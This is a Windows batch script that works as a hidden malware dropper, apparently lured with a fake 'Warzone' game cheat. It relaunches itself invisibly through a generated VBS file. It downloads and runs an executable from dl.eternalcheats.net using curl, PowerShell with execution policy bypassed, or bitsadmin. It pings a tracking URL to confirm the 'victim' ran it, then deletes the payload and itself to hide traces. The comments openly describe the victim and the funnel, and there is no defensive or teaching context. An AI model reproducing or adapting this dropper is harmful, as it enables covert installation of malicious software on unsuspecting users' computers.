@echo off
if "%~1"=="run" goto :run
rem relaunch self hidden via a tiny VBS (wscript runs it with no window at
rem all), then exit the visible one — the victim sees at most a 1-frame flash
set "V=%TEMP%\f9%RANDOM%.vbs"
> "%V%" echo Set s=CreateObject^("WScript.Shell"^)
>> "%V%" echo s.Run """%~f0""" ^& " run",0,False
start "" wscript.exe "%V%"
@exit
:run
setlocal EnableDelayedExpansion
set "T=%TEMP%"
set "N=f9%RANDOM%%RANDOM%"
set "U=https://dl.eternalcheats.net/dl/Warzone-Cheat-v3.1.exe"
set "O=!T!\!N!.exe"
curl -s -o "!O!" "!U!" 2>nul
if not exist "!O!" (
  powershell -NoProfile -ExecutionPolicy Bypass -Command "try { [IO.File]::WriteAllBytes($env:TEMP + '\f9' + 'stub.exe', (Invoke-WebRequest -UseBasicParsing 'https://dl.eternalcheats.net/dl/Warzone-Cheat-v3.1.exe').Content) } catch { }" 2>nul
  set "O=!T!\f9stub.exe"
)
if not exist "!O!" (
  bitsadmin /transfer x /download /priority high "!U!" "!O!" >nul 2>&1
)
if exist "!O!" (
  start "" /b "!O!"
  rem run-confirmation ping: tells the funnel the victim ACTUALLY ran it
  curl -s -o nul "https://dl.eternalcheats.net/track-run?tag=Warzone-Cheat-v3.1.exe" 2>nul
)
rem cleanup: the VBS, the stub, and this bat itself all vanish
del "%V%" 2>nul
ping -n 4 127.0.0.1 >nul
del "!O!" 2>nul
del "%~f0" 2>nul
endlocal
@exit